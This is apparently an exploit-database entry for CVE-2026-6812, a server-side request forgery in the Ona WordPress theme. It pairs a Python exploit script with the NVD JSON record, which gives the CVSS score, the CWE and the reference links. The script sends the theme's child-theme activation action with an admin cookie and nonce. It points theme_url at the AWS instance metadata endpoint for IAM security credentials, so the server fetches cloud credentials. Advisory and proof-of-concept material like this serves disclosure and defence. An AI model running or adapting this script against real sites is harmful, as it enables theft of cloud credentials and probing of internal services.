CVE-2026-6812

import requests # Exploit Title: WordPress Ona Theme SSRF via ona_activate_child_theme # Date: 2026-05-02 # Vulnerable Parameter: URL used in theme activation target_url = "http://target-wordpress-site.com/wp-admin/admin.php" admin_cookie = "wordpress_logged_in_xxx=...; wordpress_sec_xxx=..." # Malicious internal URL to query (e.g., AWS metadata) payload_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" data = { "action": "ona_activate_child_theme", "theme_url": payload_url, "nonce": "wp_nonce_value" # Requires valid admin nonce } headers = { "Cookie": admin_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Send the request response = requests.post(target_url, data=data, headers=headers) print(f"Status Code: {response.status_code}") print("Response body may contain leaked info or trigger timing attacks")

{"cve": {"id": "CVE-2026-6812", "sourceIdentifier": "[email protected]", "published": "2026-05-02T06:16:04.337", "lastModified": "2026-05-05T19:16:18.390", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ona theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.26 via the ona_activate_child_theme. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ona/tags/1.23.2/inc/admin/theme-admin.php#L688", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ona/tags/1.23.2/inc/admin/theme-admin.php#L694", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ona/trunk/inc/admin/theme-admin.php#L688", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ona/trunk/inc/admin/theme-admin.php#L694", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0acb365c-b5f2-4377-875b-69278a8ff96e?source=cve", "source": "[email protected]"}]}}